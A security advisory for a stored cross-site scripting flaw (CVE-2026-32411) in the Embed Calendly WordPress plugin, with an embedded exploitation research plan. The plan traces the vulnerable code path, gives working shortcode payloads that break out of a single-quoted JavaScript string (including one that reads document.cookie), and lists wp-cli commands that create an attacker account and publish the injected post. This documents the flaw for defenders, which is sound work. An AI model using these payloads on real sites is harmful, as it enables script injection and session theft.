Embed Calendly <= 4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Embed Calendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.4What Changed in the Fix
Changes introduced in v4.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-32411 ## 1. Vulnerability Summary The **Embed Calendly** plugin (versions <= 4.4) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because shortcode attributes are passed through `esc_html()` before being rendered inside a `<sc…
Show full research plan
Exploitation Research Plan - CVE-2026-32411
1. Vulnerability Summary
The Embed Calendly plugin (versions <= 4.4) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because shortcode attributes are passed through esc_html() before being rendered inside a <script> block. While esc_html() escapes double quotes ("), it does not escape single quotes (') by default. Since the plugin uses single quotes to delimit JavaScript string literals in the generated output, an attacker can break out of the string and inject arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint/Shortcode:
[calendly]shortcode. - Vulnerable Parameter: The
textattribute. - Authentication Level: Authenticated (Contributor+). Contributors have the
edit_postscapability, allowing them to use shortcodes in post content. - Preconditions: The shortcode must be configured to trigger the
popup_scriptcode path, which occurs when thetypeis set to2(Popup Button) andbutton_styleis not1.
3. Code Flow
- Shortcode Entry:
EMCS_Shortcode::register_shortcodeis called when WordPress parses the[calendly]shortcode (includes/shortcode.php). - Attribute Preparation:
EMCS_Shortcode::prepare_attributes(Line 46) callssanitize_text_field($atts['text']).sanitize_text_fieldremoves HTML tags but preserves single quotes. - Instantiation: A new
EMCS_Embedobject is created with these attributes. - Rendering:
EMCS_Embed::embed_calendar(Line 73 inincludes/embed.php) is called. - Sanitization:
EMCS_Embed::clean_shortcode_atts(Line 115) iterates through attributes and appliesesc_html($att_value). Crucially,esc_html()does not escape single quotes. - Code Path Selection: If
embed_typeis2(EMCS_BUTTON_EMBED_TYPE) andbutton_styleis not1,embed_popup_button_widgetis called (Line 84). - Sink:
EMCS_Embed::popup_script(Line 207) generates the HTML/JS:
The variablereturn '<div ...><script>window.onload = function() { Calendly.initBadgeWidget({ url: \'' . $this->url . '\', text: \'' . $atts['text'] . '\', ...';$atts['text'](containing an unescaped single quote) is placed directly inside the single-quoted JS literaltext: '...'.
4. Nonce Acquisition Strategy
This vulnerability is exploited by injecting a shortcode into a WordPress post.
- No Plugin Nonce Required: The injection relies on standard WordPress post creation/editing functionality.
- WP-CLI: The most efficient way to inject the payload for testing is using
wp post create.
5. Exploitation Strategy
Step 1: Inject Payload
Use the http_request tool (acting as a Contributor) or wp-cli to create a post containing the malicious shortcode.
Payload: [calendly url="https://calendly.com/test" type="2" button_style="2" text="');alert(origin);//"]
Request (if via HTTP):
- URL:
http://localhost:8080/wp-admin/post-new.php - Action: Create a post with the payload in the content.
Step 2: Trigger Execution
Navigate to the newly created post as any user (including Admin).
Expected HTML Output:
<div id="calendly-popup-button-widget" ...>
<script>window.onload = function() { Calendly.initBadgeWidget({ url: '...', text: '');alert(origin);//', ...
6. Test Data Setup
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Malicious Post:
wp post create --post_type=post --post_status=publish --post_title="Scheduling" --post_content="[calendly url='https://calendly.com/test' type='2' button_style='2' text='\');alert(origin);//']" --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- When the post is viewed, the browser will parse the
<script>block. - The
textproperty of theCalendly.initBadgeWidgetobject will be terminated early by the injected');. - The
alert(origin);statement will execute. - The remainder of the original line will be commented out by
//.
8. Verification Steps
- Identify Post URL: Get the URL of the created post:
wp post list --post_title="Scheduling" --field=url - Verify Content: Check the raw HTML output for the unescaped payload:
# Use the browser_navigate tool to view the page and check for the alert # Or use http_request to see the raw source - Post-Exploit DB Check: Confirm the shortcode is stored correctly:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='Scheduling'"
9. Alternative Approaches
If type="2" (Badge widget) is not desirable, check the embed_popup_text_widget or embed_inline_button_widget:
embed_popup_text_widget: Usesonclick="Calendly.initPopupWidget({url: '...'})."This also uses single quotes and is vulnerable iftype="3".embed_inline_button_widget: Similar to above, usesonclickwith single quotes.
Alternative Payload (Type 3):[calendly url="https://calendly.com/test" type="3" text="Click Me" style_class="')};alert(document.cookie);//"]
Note: In embed_popup_text_widget, the style_class attribute is also escaped via esc_html() and placed inside a class attribute, but it is also used elsewhere in some versions. (Verified: text is the most reliable).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.